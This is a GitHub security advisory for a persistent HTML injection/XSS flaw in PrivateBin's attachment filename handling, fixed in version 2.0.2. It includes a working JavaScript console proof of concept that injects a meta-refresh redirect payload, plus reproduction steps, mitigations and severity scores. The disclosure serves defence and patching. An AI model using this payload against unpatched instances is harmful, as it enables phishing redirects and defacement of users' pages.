Skip to content

PrivateBin is missing HTML sanitization of attached filename in file size hint

Moderate severity GitHub Reviewed Published Oct 28, 2025 in PrivateBin/PrivateBin • Updated Oct 29, 2025

Package

composer privatebin/privatebin (Composer)

Affected versions

>= 1.7.7, < 2.0.2

Patched versions

2.0.2

Description

We’ve identified an HTML injection/XSS vulnerability in PrivateBin service that allows the injection of arbitrary HTML markup via the attached filename. Below are the technical details, PoC, reproduction steps, impact, and mitigation recommendations.

Recommend action: As the vulnerability has been fixed in the latest version, users are strongly encouraged to upgrade PrivateBin to the latest version and check that a strong CSP header, just as the default suggested one, is delivered.

Summary of the vulnerability: The attachment_name field containing the attached file name is included in the object that the client encrypts and is eventually rendered in the DOM without proper escaping.

Impact

The vulnerability allows attackers to inject arbitrary HTML into the filename displayed near the file size hint, when attachments are enabled. This is by definition a XSS vulnerability (CWE-80), in this case even a persistent XSS. As any HTML can be injected, basically, this can e.g. be used to inject a script tag (as per CWE-79).

That said, also due to previous issues, we have strong mitigations for this in place. The content security policy (CSP) does, if configured as recommend by the PrivateBin project, prevent any inline script execution, so the confidentiality of the paste is not affected.

However, as the reporter demonstrated, even when script execution is blocked, an HTML injection can still be used for attacks such as:

  • redirection using a meta redirect tag to redirect to a potentially malicious/attacker-controlled website
  • defacement of the website
  • phishing, in combination with the redirection to a clone of a PrivateBin phishing page or similar
  • potential attacks on other services hosted on the same domain

This list is by no means meant to be exhaustive, other attacks should be considered possible, that is why we treat this issue as a serious issue, even if the CSP is supposed to block the most attacks.

Important

Depending on the deployment, if the server has a different than the recommend CSP configured or the client (browser) somehow lacks a protection, the vulnerability can have much more serious impacts and potentially also allow XSS, which could mean the confidentiality of the PrivateBin instance is affected.

Technical Description

The front-end uses PrivateBin (client-side encryption) to format and encrypt data before sending. During the paste creation process, the client assembles a cipherMessage object containing, among other fields:

  • paste -> paste text
  • attachment -> file content (data-URI)
  • attachment_name -> array with file names

Before encryption, the ServerInteraction.setCipherMessage(cipherMessage) function is called. By intercepting/altering the cipherMessage on the client immediately before encryption, it is possible to replace attachment_name with an attacker-controlled string; this string becomes part of the encrypted content, and when the paste is opened, the local client decrypts and inserts the name into the DOM unescaped, allowing the interpretation of inserted HTML markup.

Note that it was not necessary to reimplement encryption: the monkeypatch modifies the object before the client applies AES-GCM/PBKDF2/compression, thus avoiding ciphertext formatting issues.

Proof of concept

Paste this into the console on the PrivateBin page before clicking Create.

// Monkeypatch to modify attachment_name immediately before encryption
(() => {
  const desiredName = '"><meta http-equiv="refresh" content="0;url=https://example.com/">.txt'; // <- adjust here

  // get the namespace used by PrivateBin
  if (!window.$ || !$.PrivateBin || !$.PrivateBin.ServerInteraction) {
    return console.error('PrivateBin namespace not found (make sure you are on the PrivateBin page).');
  }

  const SI = $.PrivateBin.ServerInteraction;
  // save original function
  const origSetCipherMessage = SI.setCipherMessage?.bind(SI);

  if (typeof origSetCipherMessage !== 'function') {
    return console.error('setCipherMessage not found or is not a function.');
  }

  SI.setCipherMessage = async function(cipherMessage) {
    try {
      // cipherMessage here is the plain object the client intends to encrypt
      if (cipherMessage && Array.isArray(cipherMessage.attachment_name)) {
        console.log('[patch] original attachment_name:', cipherMessage.attachment_name);
        cipherMessage.attachment_name = cipherMessage.attachment_name.map(() => desiredName);
        console.log('[patch] attachment_name overwritten to:', cipherMessage.attachment_name);
      } else if (cipherMessage && cipherMessage.attachment && Array.isArray(cipherMessage.attachment)) {
        // if there are attachments but no attachment_name (rare), add a coherent array
        cipherMessage.attachment_name = cipherMessage.attachment.map(() => desiredName);
        console.log('[patch] attachment_name added:', cipherMessage.attachment_name);
      } else {
        // nothing to change
      }

      // call the original implementation (which performs the encryption)
      return await origSetCipherMessage(cipherMessage);
    } catch (err) {
      console.error('Error in setCipherMessage monkeypatch:', err);
      // in case of error, attempt to call the original anyway
      return await origSetCipherMessage(cipherMessage);
    }
  };

  console.log('Monkeypatch applied to ServerInteraction.setCipherMessage() - ready to send. (Reload the page to undo).');
})();

Reproduction Steps

  1. Access PrivateBin (in the program scope). A requirement is that you have file upload enabled.
  2. Attach any file via the UI (file content irrelevant).
  3. Open the browser console (F12 → Console).
  4. Paste the snippet above and adjust desiredName to the desired HTML payload (e.g., "><meta http-equiv="refresh" content="0;url=https://example.com/">.txt).
  5. Click Create. The client will encrypt and send the paste normally.
  6. Intercept/inspect the POST request (optional).
  7. Open the generated link.

What happens: When rendering the paste, the content of the injected attachment_name will be interpreted according to the context, demonstrating the impact.

Mitigation

We strongly recommend you to upgrade to our latest release. However, here are some workarounds that may help you to mitigate this vulnerability without upgrade:

  • Update the CSP in your configuration file to the latest recommended settings and check that it isn't getting reverted or overwritten by your web server, reverse proxy or CDN, i.e. using our offered check service.
    Note: You should check your CSP independently, even if you upgrade to a fixed version. See also the section "More information" about how we recently enhanced the CSP protection.
  • Deploying PrivateBin on a separate domain may limit the scope of the vulnerability to PrivateBin itself and thus, as described in the “Impact” section, effectively prevent any damage by the vulnerability to other resources you are hosting.
  • As explained in the impact assessment, disabling attachments also prevents this issue.

Patches

The issue has been patched in version 2.0.2. The change that displayed the attachment name without sanitation was introduced in version 1.7.7. The code-changes in PrivateBin mitigating this issue can be found in commit c4f8482b3072be7ae012cace1b3f5658dcc3b42e.

References

We highly encourage server administrators and others involved with the PrivateBin project to read-up on how Content-Security-Policies work, especially should you consider to manually adjust it:

Also please note that if multiple headers are set (as e.g. done via our introduced meta tag) browsers should apply the most restrictive set of the policies, as per the CSP specification.

More information

This issue is similar to GHSA-cqcc-mm6x-vmvw, but was, based on our analysis, apparently introduced in PrivateBin/PrivateBin#1550.

Note that we have, independently as of this issue and as per regular security maintenance, already applied many CSP improvements and strengthened this security mechanism of PrivateBin. This includes in detail:

  • As part of the last XSS vulnerability, we have now included the CSP in a meta HTML tag, too, so in case the headers are somehow mangled with by (reverse) proxies or similar, the PrivateBin instance should still be protected as long as this HTML meta tag is included in an unchanged way.
  • PrivateBin/PrivateBin#1613 - We have removed a outdated configuration recommendation, as default-src does not need to allow self anymore, but it can keep the more strict none even when using the bootstrap SVG icons. (previously a problem in Firefox prevented this)
  • PrivateBin/PrivateBin#1464 - We could remove the previously used unsafe-eval that was a potentially risky CSP source being allowed for scripts, and replaced it with wasm-unsafe-eval for the streaming of a WebAssembly component used for optional compression. This can be disabled in the configuration and then wasm-unsafe-eval can also be removed.

In case you have not noticed this and did not upgrade your CSP header yet, we strongly recommend to do it as soon as possible!

Credits

On Thursday October 23rd, 2025 we received a report via email at [email protected]. The reporter asked to stay anonymous. We thank them a lot for the detailed reporting of this vulnerability, including the description of the proof of concept listed above!

In general, we'd like to thank everyone reporting issues and potential vulnerabilities to us.

If you think you have found a vulnerability or potential security risk, we'd kindly ask you to follow our security policy and report it to us. We then assess the report and will take the actions we deem necessary to address it.

References

@elrido elrido published to PrivateBin/PrivateBin Oct 28, 2025
Published to the GitHub Advisory Database Oct 28, 2025
Reviewed Oct 28, 2025
Published by the National Vulnerability Database Oct 28, 2025
Last updated Oct 29, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

URL Redirection to Untrusted Site ('Open Redirect')

A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks. Learn more on MITRE.

CVE ID

CVE-2025-62796

GHSA ID

GHSA-867c-p784-5q6g

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.